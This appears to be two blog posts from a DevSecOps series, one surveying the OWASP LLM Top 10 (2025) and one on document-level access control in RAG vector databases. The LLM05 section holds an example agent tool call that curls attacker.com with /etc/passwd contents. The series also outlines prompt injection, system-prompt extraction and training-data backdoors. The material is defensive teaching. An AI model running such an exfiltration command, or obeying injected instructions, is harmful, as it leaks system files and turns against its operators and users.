OWASP LLM Top 10 2025: The Complete Map for DevSecOps

Reading Time: 11 minutes

OWASP Top 10 HistoryThe Four OWASP ListsWhy Classic OWASP Breaks for LLMsOWASP LLM Top 10 2025


TL;DR

  • OWASP LLM Top 10 2025 (v2.0, released November 2024) covers the 10 attack categories that specifically target language model applications — from prompt injection to resource exhaustion
  • v2.0 added two new categories that didn’t exist in 2023: System Prompt Leakage (LLM07) and Vector/Embedding Weaknesses (LLM08), both driven by the explosion of RAG and agentic AI deployments
  • Sensitive Information Disclosure moved from #6 to #2 — not a theoretical reprioritization; real breach data from production LLM deployments drove it up
  • The 10 categories divide into three tiers by defense complexity: structural (LLM03, LLM04 — prevent at training time), runtime (LLM01, LLM02, LLM05, LLM07, LLM08 — require active guardrails), and architectural (LLM06, LLM09, LLM10 — require system design changes)
  • Each category in this post links to its dedicated deep-dive episode in Parts II and III

OWASP Mapping: This episode is the complete reference map for the series. All 10 OWASP LLM Top 10 (2025) categories are covered at orientation depth. Deep dives with Red/Detect/Defend structure begin in EP05.


The Big Picture

OWASP LLM TOP 10 (2025): ATTACK SURFACE MAP

TRAINING TIME                    RUNTIME                      AGENCY
───────────────────────────────────────────────────────────────────────

LLM03 Supply Chain             LLM01 Prompt Injection        LLM06 Excessive Agency
  └─ Poisoned model weights      └─ Direct (user input)        └─ Agent tool over-permission
  └─ Malicious plugins           └─ Indirect (via RAG)         └─ Unintended action chains

LLM04 Data/Model Poisoning     LLM02 Info Disclosure         LLM10 Unbounded Consumption
  └─ Training data backdoors     └─ PII, API keys in output    └─ Token/compute exhaustion
  └─ Fine-tuning manipulation    └─ Training data extraction   └─ Cost amplification via API

                               LLM05 Output Handling
                                 └─ Unsafe output downstream
                                 └─ Injected content in resp.

                               LLM07 System Prompt Leakage
                                 └─ Extracting hidden context
                                 └─ Revealing business logic

                               LLM08 Vector/Embedding Weaknesses
                                 └─ RAG database poisoning
                                 └─ Access control on retrieval

                               LLM09 Misinformation
                                 └─ Confident hallucination
                                 └─ False citations

───────────────────────────────────────────────────────────────────────
DEFENSE LAYER      Training governance   Guardrails + scanning   Capability scoping
PRIMARY TOOL       Data validation       LLM Guard, NeMo         Tool RBAC, auditing
                   Model integrity       Guardrails              Rate limiting

The OWASP LLM Top 10 2025 is the standard vocabulary for discussing language model attack surfaces. This map is what every team deploying LLMs in production should have on the wall — not as a checklist to tick, but as a threat model to reason against.


What Changed: v1.0 (2023) → v2.0 (2025)

Change v1.0 (2023) v2.0 (2025) Why
New category LLM07 System Prompt Leakage System prompt extraction became a documented, prevalent attack
New category LLM08 Vector/Embedding Weaknesses RAG deployments exploded; vector DB poisoning needed its own category
Reprioritized LLM06 Sensitive Info Disclosure LLM02 Sensitive Info Disclosure Moved from #6 to #2 based on actual breach patterns
Renamed/refocused LLM07 Insecure Plugin Design Merged into LLM03 Supply Chain Plugin risk subsumed into broader supply chain category
Renamed LLM09 Overreliance LLM09 Misinformation Refocused from user behavior to model behavior as the risk
Consolidated LLM04 Model DoS LLM10 Unbounded Consumption Merged resource exhaustion into a broader consumption category
Dropped LLM10 Model Theft Consolidated into LLM03 Model theft is a supply chain / data exfiltration variant

The two additions (LLM07, LLM08) reflect where the attack surface moved in 2023–2024. As organizations deployed RAG applications, attackers found that the retrieval step was an injection surface — poisoned documents in the vector store become indirect prompt injections. As system prompts became more sophisticated (containing business logic, API keys, behavioral constraints), extracting them became a valuable reconnaissance objective.


The 10 Categories


LLM01: Prompt Injection

What it is: An attacker’s input manipulates the model’s behavior beyond its intended function. Direct injection: the user’s message itself contains the attack. Indirect injection: the attack arrives embedded in content the model retrieves (a document, a web page, a database entry) rather than from the user directly.

Why it’s #1: It’s the most exploited category and the hardest to structurally eliminate. Because the model cannot reliably distinguish instruction from data (see EP03), every input path is a potential injection surface.

Who is responsible: Application developers (input validation layer), DevSecOps (guardrail deployment, CI/CD testing), Red Team (adversarial probing with Garak/PyRIT).

Deep dive: Prompt Injection Attacks: How LLM01 Becomes Full System Compromise → (EP05)


LLM02: Sensitive Information Disclosure

What it is: The model outputs information it should not — training data (including PII or proprietary data that leaked into training sets), system prompt contents, API keys, credentials injected into the context window by application code.

Why it moved to #2: Production breach data from 2023–2024 showed consistent patterns: models trained on customer data exposing PII in responses, API keys embedded in system prompts being extracted, model inversion attacks recovering training data fragments.

Who is responsible: ML Engineers (training data governance, PII scrubbing before training), Developers (never put secrets in system prompts, use secret management), Compliance (data inventory: what is in the training set?).

Deep dive: LLM Sensitive Information Disclosure: When the Model Becomes the Data Leak → (EP06)


LLM03: Supply Chain

What it is: The LLM supply chain is broader than software supply chain. Compromise vectors include: pre-trained model weights from untrusted sources, compromised third-party plugins or tool integrations, poisoned fine-tuning datasets, malicious model cards that instruct users to run unsafe code.

Classic parallel: Software supply chain attacks (SolarWinds, XZ Utils) compromise a dependency that downstream users trust. LLM supply chain attacks compromise the model artifact or its training inputs that all downstream deployments inherit.

Who is responsible: DevSecOps (verify model artifact integrity before deployment), ML Engineers (training pipeline data provenance), Security (threat model for third-party plugin integrations).

For supply chain anatomy from SolarWinds to XZ Utils in the software context, see supply chain attacks and software dependency compromise in the Purple Team series.

Deep dive: LLM Supply Chain: From Poisoned Models to Malicious Plugins → (EP07)


LLM04: Data and Model Poisoning

What it is: An attacker with influence over the training or fine-tuning pipeline inserts malicious content that creates a backdoor in the model. The backdoor activates when specific trigger conditions are present at inference time — the model behaves normally otherwise and abnormally (bypassing safety filters, leaking data, executing attacker instructions) when triggered.

Why it matters at infrastructure scale: Fine-tuning on organizational data is increasingly common. If your fine-tuning pipeline ingests data from a source an attacker can influence — a shared document store, a public dataset, a third-party data vendor — the attack surface exists.

Who is responsible: ML Engineers (training data validation, dataset provenance controls), Security (threat model for training pipeline access), Data governance (who can write to training data sources?).

Deep dive: Data and Model Poisoning: How Training Data Becomes a Backdoor → (EP08)


LLM05: Improper Output Handling

What it is: The model’s output is consumed by downstream systems — databases, code interpreters, browser rendering, email senders — without adequate validation or sanitization. The output becomes the injection vector into those downstream systems.

Classic parallel: Stored XSS — attacker input is persisted and later rendered in a browser as HTML/JS. The model’s output, if rendered in a browser context, is the same attack path. If the model generates SQL, a code interpreter runs it. If the model generates shell commands that an agent executes, command injection follows.

Why it matters for agents: Agentic LLMs don’t just produce text for a human to read — they produce structured outputs that downstream tools act on. An injection that causes the model to output {"tool": "execute_shell", "command": "curl attacker.com/exfil?data=$(cat /etc/passwd)"} is a code execution vulnerability, not a text generation edge case.

Who is responsible: Developers (output sanitization before downstream consumption), DevSecOps (output scanning in the inference pipeline).

Deep dive: Improper LLM Output Handling: Injection That Lives in the Response → (EP09)


LLM06: Excessive Agency

What it is: An LLM agent is granted more tool access, permissions, or autonomous authority than required for its stated function — and is then manipulated (via prompt injection or other means) into using those capabilities in unintended ways.

Classic parallel: Principle of least privilege — a process should have only the permissions required for its function. Violation of PoLP in classic systems allows privilege escalation. For agents, violation means an injected instruction can cause the agent to call tools (send email, query databases, make API calls) it has permission to call but should not be calling in that context.

The agentic AI amplifier: As LLM agents gain more tool integrations, the blast radius of a successful injection increases. An agent that can read email, write to databases, and call external APIs is not just a chatbot — it is an automated system that an attacker can hijack.

Who is responsible: Developers (scope tool access to the minimum required, implement human-in-the-loop for high-impact actions), DevSecOps (monitor tool call sequences for anomalies), Security Architecture (review agent capability scope before deployment).

For the IAM dimension — how excessive agency maps to IAM privilege escalation in cloud environments — see the Cloud IAM series EP08.

Deep dive: LLM Excessive Agency: When Your AI Agent Goes Off-Script → (EP10)


LLM07: System Prompt Leakage (New in v2.0)

What it is: System prompts often contain operational business logic, behavioral constraints, tool configuration, and sometimes API keys or internal system information. An attacker who can extract the system prompt gains a reconnaissance advantage — understanding the model’s constraints enables targeted bypass attempts, and system prompt contents may directly contain sensitive data.

Why it’s new in v2.0: As organizations embedded more complexity into system prompts — persona definitions, RAG configuration, tool schemas, operational constraints — the value of extracting them increased. Extraction techniques became well-documented and reliable enough to warrant a dedicated category.

Classic parallel: Configuration file disclosure — if an attacker can read your nginx config or application config, they understand the system’s structure and may find credentials or internal URLs embedded there.

Who is responsible: Developers (don’t put secrets in system prompts — use secret management; treat system prompts as sensitive assets), Security (test for system prompt extraction as part of LLM security assessment).

Deep dive: System Prompt Leakage: Extracting the Instructions Your LLM Hides → (EP11)


LLM08: Vector and Embedding Weaknesses (New in v2.0)

What it is: RAG applications retrieve content from a vector database to augment the model’s context. Attack surfaces include: poisoning the vector store with documents that contain adversarial instructions (indirect prompt injection at retrieval time), accessing documents across access control boundaries (user A’s documents returned in user B’s query), and manipulating embeddings to cause incorrect retrieval.

Why it’s new in v2.0: RAG deployment became mainstream in 2023–2024. The vector database is now a first-class attack surface — previously implicit in LLM01 (indirect injection), now warranting its own category because the access control and integrity dimensions are distinct from basic prompt injection.

The access control dimension: A vector database that doesn’t enforce document-level permissions exposes all indexed content to all users. If your organization indexes HR documents, legal documents, and engineering runbooks in the same vector store with the same retrieval logic, any user who can query the chatbot can potentially retrieve any indexed document through a crafted query.

Who is responsible: Developers (document-level access control on vector store retrieval), DevSecOps (monitor retrieval logs for access anomalies), ML Engineers (document provenance and integrity controls on ingestion).

For the IAM angle on RAG service account permissions, see OIDC workload identity for service accounts in the Cloud IAM series.

Deep dive: RAG Security: Vector Database and Embedding Weaknesses in LLM Apps → (EP12)


LLM09: Misinformation

What it is: The model generates factually incorrect information, fabricated citations, or false claims presented with high confidence. In security contexts, this includes: incorrect security guidance that creates false assurance, fabricated CVE details that misdirect incident response, or hallucinated code that contains vulnerabilities.

Why it’s a security category, not just a quality issue: Misinformation becomes a security risk when: (1) the output is used to make security decisions, (2) the output is published and influences other actors, or (3) an attacker deliberately triggers confident false outputs (LLM09 as an intentional attack, not just an emergent behavior).

Intentional misinformation attack: An attacker who can cause an AI assistant to confidently describe a non-existent security control as effective, or to fabricate that a CVE was patched when it wasn’t, has compromised the organization’s decision-making process without needing any code execution.

Who is responsible: Developers (build output grounding and citation verification into AI-assisted workflows), Compliance (AI systems used for compliance advice must have human review gates), Operators (track model accuracy metrics over time; model drift can increase hallucination rates).

Deep dive: LLM Misinformation Risk: When Confident Wrong Answers Are the Attack → (EP13)


LLM10: Unbounded Consumption

What it is: Uncontrolled consumption of LLM resources — tokens, compute, API calls, cost — without limits. Attack variants include: sending large context windows to maximize per-request cost, triggering long-running generation chains, orchestrating many simultaneous requests to exhaust rate limits, and exploiting prompt structures that cause disproportionate compute usage.

Why it matters at scale: LLM API calls are not free. An application without token budgets, rate limiting, and cost alerts is susceptible to resource exhaustion that manifests as budget impact, service degradation, or availability loss. A model that can be prompted to generate indefinitely (recursive summarization, chain-of-thought loops) can be used for targeted DoS against the application.

Who is responsible: DevSecOps (rate limiting, token budgets, cost monitoring and alerting), Developers (max token limits on all API calls, timeout policies for generation), FinOps (anomaly detection on AI API spend).

Deep dive: LLM Rate Limiting and Unbounded Consumption: The DoS Nobody Talks About → (EP14)


Roles and Responsibilities: The RACI View

Category Developer DevSecOps Red Team ML Engineer Compliance
LLM01 Prompt Injection Input validation layer Guardrail deployment Adversarial probing Testing evidence
LLM02 Info Disclosure No secrets in prompts Output scanning Extraction testing Training data PII scrub Data inventory
LLM03 Supply Chain Plugin vetting Artifact integrity checks Supply chain threat model Dataset provenance Vendor risk
LLM04 Data Poisoning Pipeline access controls Backdoor detection testing Training data validation Data governance
LLM05 Output Handling Output sanitization Output scanning Downstream injection testing Audit evidence
LLM06 Excessive Agency Tool scope design Tool call monitoring Agent capability testing Agency policy
LLM07 System Prompt Leakage Secret management Extraction testing Prompt inventory
LLM08 Vector Weaknesses Doc-level ACL Retrieval log monitoring RAG poisoning testing Embedding integrity Access control audit
LLM09 Misinformation Grounding + citations Accuracy monitoring Intentional hallucination testing Drift detection Decision review gates
LLM10 Unbounded Consumption Max token limits Rate limiting, cost alerts Resource exhaustion testing Budget controls

Defense Tier Classification

Not all 10 categories require the same type of defense. Classifying them by defense complexity:

Tier 1 — Structural (requires training-time or design-time controls)
– LLM03 Supply Chain: fix before deployment via artifact integrity and supply chain governance
– LLM04 Data/Model Poisoning: fix at training pipeline via data provenance and validation

Tier 2 — Runtime (requires active guardrails at inference time)
– LLM01 Prompt Injection: input classification, output monitoring, indirect injection detection
– LLM02 Sensitive Info Disclosure: output scanning for PII/secret patterns
– LLM05 Improper Output Handling: sanitization before downstream consumption
– LLM07 System Prompt Leakage: extraction testing, secret management hygiene
– LLM08 Vector/Embedding Weaknesses: retrieval access controls, document integrity

Tier 3 — Architectural (requires system design changes)
– LLM06 Excessive Agency: capability scoping, human-in-the-loop design
– LLM09 Misinformation: grounding mechanisms, output verification workflows
– LLM10 Unbounded Consumption: rate limiting, token budgets, cost monitoring architecture

Most organizations start with Tier 2 (deployable guardrails) and work outward. Tier 3 issues are often found late because they require reviewing architectural decisions, not just adding scanning layers.


Tool Coverage Summary

Tool Type Categories Addressed
Garak (NVIDIA) LLM red team scanner LLM01, LLM02, LLM07, LLM09
PyRIT (Microsoft) Red team framework LLM01, LLM02, LLM06, LLM07
Promptfoo LLM evals / CI testing LLM01, LLM09
LLM Guard Runtime scanner LLM01, LLM02, LLM05, LLM07
NeMo Guardrails Conversation rails LLM01, LLM06
AWS Bedrock Guardrails Managed cloud guardrails LLM01, LLM02, LLM09
Trivy / cosign Artifact integrity LLM03
Vector DB access controls Access management LLM08
Token budget / rate limiter Resource controls LLM10

Full tooling deep dives: EP15 (red team tools), EP16 (runtime defense).


⚠ Production Gotchas

“We addressed prompt injection so we’re covered on the list”
LLM01 is one of ten categories. Addressing prompt injection while ignoring LLM08 (RAG poisoning) means an attacker bypasses the input filter entirely by poisoning a document in your vector store. Address the list as a system, not category by category.

“Our model provider handles safety”
Model providers implement safety training (RLHF, constitutional AI). They do not control your system prompt contents (LLM07), your vector store access controls (LLM08), your agent’s tool permissions (LLM06), or how your application handles the model’s output (LLM05). 6 of the 10 categories are substantially or entirely in your application’s control.

“We’ll address LLM security after we launch”
LLM03 (Supply Chain) and LLM04 (Data Poisoning) are training-time and deployment-time concerns — if your model was trained on unverified data or deployed from an unverified artifact, retrofitting fixes post-launch is not straightforward. Security architecture for LLMs needs to happen at design and training time, not just at the guardrail layer.


Quick Reference: OWASP LLM Top 10 (2025)

# Category Attack Vector Defense Tier Deep Dive
LLM01 Prompt Injection User input, retrieved context Runtime EP05
LLM02 Sensitive Info Disclosure Model output Runtime EP06
LLM03 Supply Chain Model artifacts, plugins, datasets Structural EP07
LLM04 Data/Model Poisoning Training/fine-tuning pipeline Structural EP08
LLM05 Improper Output Handling Downstream system consumption Runtime EP09
LLM06 Excessive Agency Agent tool execution Architectural EP10
LLM07 System Prompt Leakage Extraction via adversarial prompts Runtime EP11
LLM08 Vector/Embedding Weaknesses RAG retrieval, vector DB Runtime EP12
LLM09 Misinformation Model generation Architectural EP13
LLM10 Unbounded Consumption Resource exhaustion Architectural EP14

Framework Alignment

Framework Connection to LLM Top 10
NIST AI RMF (MAP/MEASURE) LLM Top 10 is the primary technical risk catalog to MAP against; MEASURE includes testing coverage per category
ISO 42001:2023 Controls 6.1–6.2 (AI risk assessment) require documenting risks aligned to these categories
EU AI Act (Art. 9) High-risk AI system risk management must address categories like LLM01, LLM04, LLM06 explicitly
SOC 2 (CC7) Anomaly detection evidence for CC7.2 should include LLM01 injection detection, LLM10 consumption monitoring

Full compliance deep dive: EP17.


Key Takeaways

  • OWASP LLM Top 10 v2.0 (2025) added System Prompt Leakage and Vector/Embedding Weaknesses because RAG and agentic AI created attack surfaces that weren’t prominent in 2023
  • The 10 categories divide into three defense tiers: structural (training-time), runtime (guardrails), and architectural (system design) — each requiring different team ownership and different testing approaches
  • 6 of the 10 categories are substantially in your application’s control, not your model provider’s
  • The RACI view matters: different categories own differently across Developer, DevSecOps, ML Engineer, Red Team, and Compliance — no single role covers all 10
  • This is the reference map; every deep-dive episode in this series maps back to one or more rows in the Quick Reference table above

What’s Next

Parts II and III cover each category in depth with Red/Detect/Defend structure. Starting with the category that’s been #1 since the first version — and the one where the classic defense cannot be applied.

Prompt Injection Attacks: How LLM01 Becomes Full System Compromise →

Get EP05 in your inbox when it publishes → subscribe

RAG Access Control: The IAM Layer Your Vector Database Doesn’t Have

Reading Time: 8 minutes

The Non-Human Identity Problem Is BackRAG Access ControlOIDC and Workload Identity for LLM Pipelines


TL;DR

  • Most vector databases have no document-level access control by default — if a document was indexed, any query can retrieve it
  • In a multi-user RAG application, this means User A’s confidential documents can end up in User B’s context window without any API call, auth token, or permission check failing
  • RAG access control requires enforcement at three separate layers: at ingestion (what gets indexed), at retrieval (what the query can return), and at the application layer (what the model receives)
  • The technical solutions exist — namespace isolation, metadata filtering, Row Level Security on pgvector, Weaviate RBAC — but they require deliberate implementation; they are not defaults
  • The IAM principle is the same one that solved the S3 bucket problem: you must assume all data in the store is sensitive, and access must be granted explicitly, not assumed by adjacency

OWASP Mapping: OWASP LLM08 — Vector and Embedding Weaknesses. This episode covers the access control gap that makes vector databases the most commonly misconfigured IAM boundary in LLM deployments.


The Big Picture

RAG PIPELINE: WHERE ACCESS CONTROL BREAKS DOWN

User A                     User B
  │                           │
  ▼                           ▼
[Query: "summarize           [Query: "what are our
 my performance review"]      Q4 revenue projections?"]
         │                           │
         └──────────┬────────────────┘
                    ▼
            ┌──────────────┐
            │  LLM / RAG   │
            │  Application │
            └──────┬───────┘
                   │
                   ▼ similarity search
            ┌──────────────────────────────┐
            │     Vector Database          │
            │  ┌─────────────────────────┐ │
            │  │ performance_review_a    │ │ ← User A's private doc
            │  │ q4_revenue_projections  │ │ ← Finance-only doc
            │  │ engineering_runbook     │ │ ← Internal ops doc
            │  │ hr_salary_bands         │ │ ← HR-only doc
            │  │ customer_contracts      │ │ ← Legal-only doc
            │  └─────────────────────────┘ │
            │  ← ONE collection, no ACLs   │
            └──────────────────────────────┘

Without access control, User B's query about "projections"
can semantically retrieve User A's performance review,
the salary band document, and customer contracts
— all in a single unauthenticated vector similarity search.

RAG access control is the IAM problem that most vector database deployments skip entirely. The retrieval layer is effectively a permission-free zone: if a document is indexed, it is queryable. The permissions model that governs who uploaded the document has no connection to the permissions model that governs who can retrieve it.


Why This Happens

The fastest path to a working RAG system is also the path with no access control:

  1. Index all your documents into one vector store collection
  2. At query time, run a similarity search
  3. Pass the top-N results to the model as context

This works. It produces a demo that impresses stakeholders. And it has no concept of “is the user who submitted this query authorized to read these retrieved documents?”

The problem is structural: vector similarity search is a mathematical operation on embeddings. It finds nearest neighbors in a high-dimensional space. It does not have a concept of authorization. The database returns the most semantically similar documents to the query — full stop. It does not know or care who is asking or what they are allowed to see.

This is the same failure class as public S3 buckets. The storage system itself is not wrong — it returned what it was asked for. The mistake is not building the access control layer that determines what can be asked.

The consequence in RAG is worse than in S3 in one specific way: the exposure is invisible. When someone accesses a public S3 bucket, there’s an explicit HTTP request and a 200 response in the access logs. In RAG, the unauthorized document surfaces inside a model response. There’s no explicit “unauthorized document retrieved” event. The application sent a query; the database returned results; the model included them in its answer. Everything “worked.”


How User A’s Data Ends Up in User B’s Context

Three realistic scenarios:

Scenario 1: Semantic proximity

User A uploads a performance review: “Alice achieved 94% of her targets in Q3, and her compensation adjustment is scheduled for December.”

User B asks about Q3 performance metrics for the engineering team.

The similarity search returns User A’s document as a top-N result because it contains “Q3,” “performance,” and numerical metrics. The model includes it in the context and may summarize or reference it in its answer.

No authentication was bypassed. No API was misused. A semantically similar document was retrieved by a semantically similar query.

Scenario 2: Shared namespace, different sensitivity levels

A knowledge base contains both public documentation (product manuals, FAQ articles) and internal documents (salary bands, acquisition targets, unreleased roadmap). They’re all indexed together because the indexing pipeline processes all documents from a shared document store.

A user with access to the public KB submits queries that — through careful phrasing — retrieve internal documents via semantic overlap. They never access the internal document store directly. They access it through the model’s context window.

Scenario 3: Cross-tenant retrieval

A SaaS application uses a shared vector database for all customers. Customer A uploads their proprietary process documentation. Customer B’s query, framed in similar terminology, retrieves Customer A’s documents.

This is a data breach. It does not involve any failed authentication — it involves missing authorization at the retrieval layer.


The Three Enforcement Points

Fixing RAG access control requires thinking about authorization at three distinct layers, not one.

Layer 1: Ingestion — What Gets Indexed

Every document that enters the vector store should be tagged with the identity of its owner and the scope of who is authorized to retrieve it. This metadata travels with the document through the pipeline.

vector_store.upsert(
    id="doc_performance_review_alice_2024",
    vector=embedding,
    metadata={
        "owner_user_id": "user_alice",
        "authorized_roles": ["hr_manager", "alice"],
        "sensitivity": "restricted",
        "department": "engineering",
    }
)

If the document has no access control metadata, treat it as the most sensitive class, not the least. Default-deny.

This requires the indexing pipeline to have access to the permission model. The pipeline needs to know, at index time, who can retrieve this document. That means the indexing service must be integrated with your IAM system — not just your document store.

Layer 2: Retrieval — What the Query Can Return

Every similarity search should be filtered by the requesting user’s authorization context. Most vector databases support metadata filtering at query time.

# Retrieve only documents the requesting user is authorized to see
results = vector_store.query(
    vector=query_embedding,
    filter={
        "$or": [
            {"owner_user_id": {"$eq": current_user_id}},
            {"authorized_roles": {"$in": current_user_roles}},
        ]
    },
    top_k=5
)

This is the equivalent of parameterized queries in SQL — you are not filtering after the fact, you are scoping the search space before retrieval. Only documents the user is authorized to see are candidates for the similarity search.

What each vector store supports:

Database Access Control Mechanism Granularity
Pinecone Namespaces (partition isolation) Namespace-level
Weaviate RBAC (per-class and per-object) Object-level
pgvector PostgreSQL Row Level Security (RLS) Row-level
Qdrant Payload filters at query time Per-document metadata
Chroma Collections with custom metadata filters Collection + filter
Milvus Partition keys + role-based access Partition-level

pgvector via PostgreSQL RLS is the strongest option — authorization is enforced at the database engine level, not in application code. The query cannot return rows the RLS policy does not permit, regardless of how the application constructs the query.

-- PostgreSQL RLS policy for vector store table
ALTER TABLE document_embeddings ENABLE ROW LEVEL SECURITY;

CREATE POLICY user_isolation ON document_embeddings
    USING (
        owner_user_id = current_setting('app.current_user_id')
        OR current_setting('app.current_user_id') = ANY(authorized_user_ids)
    );

With this policy, even if the application layer is compromised or misconfigured, the database will not return unauthorized rows.

Layer 3: Application — What the Model Receives

Even with ingestion-time tagging and retrieval-time filtering, there is a third layer: validating retrieved documents before they are passed to the model.

This is the paranoid layer. It assumes retrieval filtering may have gaps (a new document type that wasn’t tagged, a filter logic bug, a configuration drift). Before the retrieved chunks enter the model’s context window, verify their authorization against your canonical permission system.

# Post-retrieval authorization check
authorized_chunks = [
    chunk for chunk in retrieved_chunks
    if permissions.is_authorized(
        user_id=current_user_id,
        resource_id=chunk.metadata["document_id"],
        action="read"
    )
]
# Only pass authorized_chunks to the model

This is defense-in-depth for the retrieval layer. Each layer can catch failures in the layer before it.


The Service Account Problem in RAG Pipelines

Beyond user-level access control, RAG pipelines have a service account problem.

A typical RAG pipeline has three services: an embedding service (converts documents to vectors), a retrieval service (queries the vector store), and a generation service (calls the LLM with the retrieved context). In most deployments, all three run under the same service account with broad access to the vector store.

This creates a privilege escalation path: if an attacker can compromise the generation service (via prompt injection, for example), they can pivot to the retrieval service’s permissions because they’re the same identity. The generation service doesn’t need write access to the vector store — but if it runs under the same account as the embedding service, it has it.

Correct architecture:

Embedding Service   ── service-account: embed-sa
  └─ Permissions: vector_store:write (ingestion only)

Retrieval Service   ── service-account: retrieve-sa
  └─ Permissions: vector_store:read (query only, filtered by user context)

Generation Service  ── service-account: generate-sa
  └─ Permissions: llm_api:invoke (no direct vector store access)
  └─ Receives retrieved chunks via the retrieval service, not directly

Three services, three service accounts, three scoped permission sets. The generation service never touches the vector store directly — it receives pre-filtered, pre-authorized chunks from the retrieval service. A compromised generation service cannot exfiltrate the full vector store.


⚠ Production Gotchas

“We’ll add access control after we get the retrieval quality right”
Retrieval quality work (tuning chunk size, embedding models, similarity thresholds) generates many query examples. Those examples often span the full document corpus with no filtering. By the time you want to add access control, you have a pipeline that has never been tested with filters active, and adding filters now changes the retrieval behavior in ways that may break your quality benchmarks. Build access control into the pipeline before tuning retrieval quality — not after.

Namespace isolation without metadata means you still have a shared infrastructure problem
Pinecone namespaces are storage partitions — separate query spaces, not separate security boundaries at the infrastructure level. The Pinecone index itself is still a single IAM-controlled resource. If your application logic routes the wrong user query to the wrong namespace, the filtering doesn’t fire. Namespace isolation reduces risk; it does not eliminate the need for query-time authorization checks.

Embedding model updates break access control metadata if you’re not careful
When you re-embed your corpus with a new model, you typically truncate and re-index. If the access control metadata is only in the vector store (not also in your document store), re-indexing will drop it. Treat access control metadata as a property of the document, not of the embedding — store it in your document store and re-attach it during any re-indexing operation.

The retrieval service is the database for access control purposes
Teams that run careful security reviews on their application database often don’t apply the same review to their vector store. If the vector store contains documents from multiple users or sensitivity levels, it should receive the same security review as your primary database — network isolation, access logging, credential rotation, encryption at rest.


Quick Reference: RAG Access Control Decision Matrix

Your Architecture Minimum Required Controls
Single-tenant app Index-level access control (one index per app), service account isolation per pipeline stage
Multi-user app, shared corpus Metadata filtering at query time + post-retrieval authorization check
Multi-tenant SaaS Namespace/collection isolation per tenant + metadata filtering within namespace
Regulated data (PII, financial) PostgreSQL RLS or equivalent engine-level enforcement + full audit logging
Agent with autonomous retrieval All of the above + limit the agent’s retrieval service account to read-only, specific namespaces

Framework Alignment

Framework Reference Connection
OWASP LLM08 Vector and Embedding Weaknesses This episode is the access control dimension of LLM08
ISO 27001:2022 5.15 Access control Principle: access to data must be authorized, not assumed
NIST AI RMF MAP 2.1 Scientific basis for how AI capabilities interact with existing access control requirements
SOC 2 CC6.1 Logical access controls Evidence: vector store access control policies and query-time filtering
GDPR / Privacy Art. 25 (Data protection by design) Access control at retrieval is a technical privacy safeguard by default

Key Takeaways

  • Vector databases have no document-level access control by default — authorization must be built explicitly at ingestion, retrieval, and the application layer
  • The exposure is semantic, not structural: unauthorized documents are returned as semantically similar results, with no failed authentication to detect
  • Three enforcement points: tag documents at ingestion, filter at retrieval, verify at the application layer before context reaches the model
  • Separate service accounts for embedding, retrieval, and generation services — the generation service should never have direct vector store access
  • pgvector with PostgreSQL RLS is the strongest technical control — authorization enforced at the database engine, not in application code

What’s Next

The retrieval layer is one part of the pipeline. The full LLM pipeline — embedding service, retrieval service, generation service, tool execution layer — has an identity problem at every stage. In EP03, we build out the complete OIDC and workload identity architecture for an LLM pipeline, so each service has its own bounded identity with short-lived tokens instead of static credentials.

OIDC and Workload Identity for LLM Pipelines →

Get EP03 in your inbox when it publishes → subscribe